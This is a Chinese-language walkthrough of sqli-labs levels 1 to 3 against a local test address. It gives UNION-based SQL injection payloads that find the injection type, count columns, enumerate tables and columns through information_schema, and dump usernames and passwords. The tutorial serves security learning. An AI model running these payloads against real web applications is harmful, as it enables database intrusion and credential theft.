第一关:Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
手工union联合查询注入
一:判断注入类型
url=http://127.0.0.2/Less-1/?id=1'
看回显的报错信息
这里说: '1'' LIMIT 0,1 这里的1被单引号包裹说明这里是字符型然后 ' 引号闭合。
收获:字符型, ' 号闭合
二:进行联合注入
联合注入需要的条件有不清楚的小伙伴可以去这篇文章看看
https://www.freebuf.com/vuls/254621.html
1.找到当前表的列数
因为联合注入虚拟表是列数要和当前表的列数一致
我们可以通过[order by]语句来判断,[order by]语句的作用是按照某一列进行排序数。并且在Mysql数据库中可以用数字来代替对应的列表
order by 3 正常
order by 4 异常
说明当前表有三列
2.联合注入查询库
url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,database() --+
注意:这里要知道联合注入时,你前面的值要为假的时候,也就是数据不存在时,union select之后查询出的结果就会显示在页面中
3.查询当前表
url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
解析url:
group_concat(),函数作用:把回显全部拼接到一起,这样就可以获得全部回显
information_schema :源数据库数据库
information_schema.tables:存放所有表名的表
information_schema.columns:(存所有字段名的表)
information_schema.table_name:(存表名的字段)
information_schema.table_schema:(存表所属数据库的字段)
information_schema.column_name:存字段名的字段)
information_schema.table_name:(存字段所属表的字段)
收获:拿到了以下的表
4.爆列名了,也就是爆字段
url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
5.爆值
url = http://127.0.0.2/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+
解析:0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
第二关:Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
这里和第一题的区别就是一题是字符型,这题是整型注入。
看下区别:
报错信息是:' LIMIT 0,1
所以说明这里是整型
payload就是把上题的id=1' 后面的分号去除
url = ?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+
第三题:Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
一:分析报错信息
url = http://127.0.0.2/Less-3/?id=1'
报错位置 : '1'') LIMIT 0,1
种类:字符型,且有括号包裹 所以这里的payload要在id=1'后面加上)号,这是因为这样才能闭合前面的语句,其他参数和前面一样 url = http://127.0.0.2/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+
标签:information,Less,url,sqli,靶场,通关,id,union,schema From: https://www.cnblogs.com/xxpanda/p/17372399.html